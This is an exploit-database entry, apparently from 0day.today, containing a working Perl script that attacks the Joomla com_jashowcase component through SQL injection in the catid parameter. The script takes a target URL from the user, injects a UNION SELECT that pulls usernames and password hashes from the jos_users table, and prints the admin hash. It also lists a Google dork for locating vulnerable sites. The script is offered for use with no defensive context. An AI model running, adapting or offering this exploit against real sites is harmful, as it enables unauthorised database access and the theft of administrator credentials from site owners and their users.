Joomla com_jashowcase (catid) Remote SQL Injection Exploit

2009-01-11T00:00:00
ID 1337DAY-ID-4628
Type zdt
Reporter EcHoLL
Modified 2009-01-11T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==========================================================
Joomla com_jashowcase (catid) Remote SQL Injection Exploit
==========================================================


#!/usr/bin/perl -w

#Joomla com_jashowcase Sql injection#
########################################
#[~] Author : EcHoLL
#[!] Module_Name: com_jashowcase
#[!] Script_Name: Joomla
#[!] Google_Dork: inurl:"com_jashowcase"
########################################

system("color FF0000");
system("Nohacking");
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t| Turkish Securtiy Team |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|Joomla Module com_jashowcase(section&id=)Remote SQL Injection Vuln|\n\n";
print "\t\t-------------------------------------------------------------\n\n";
use LWP::UserAgent;
print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
$column_name="concat(username,0x3a,password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/index.php?option=com_jashowcase&view=jashowcase&Itemid=109&catid=34+AND+1=2+UNION+SELECT+0,1,".$column_name.",3,4,5,6,7,8,9,10,11,12+from/**/".$table_name."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Tebrikler Exploit Calisti! #\n\n";
}
else{print "\n[-] Exploit Bulunamad?...\n";
}



#  0day.today [2018-03-19]  #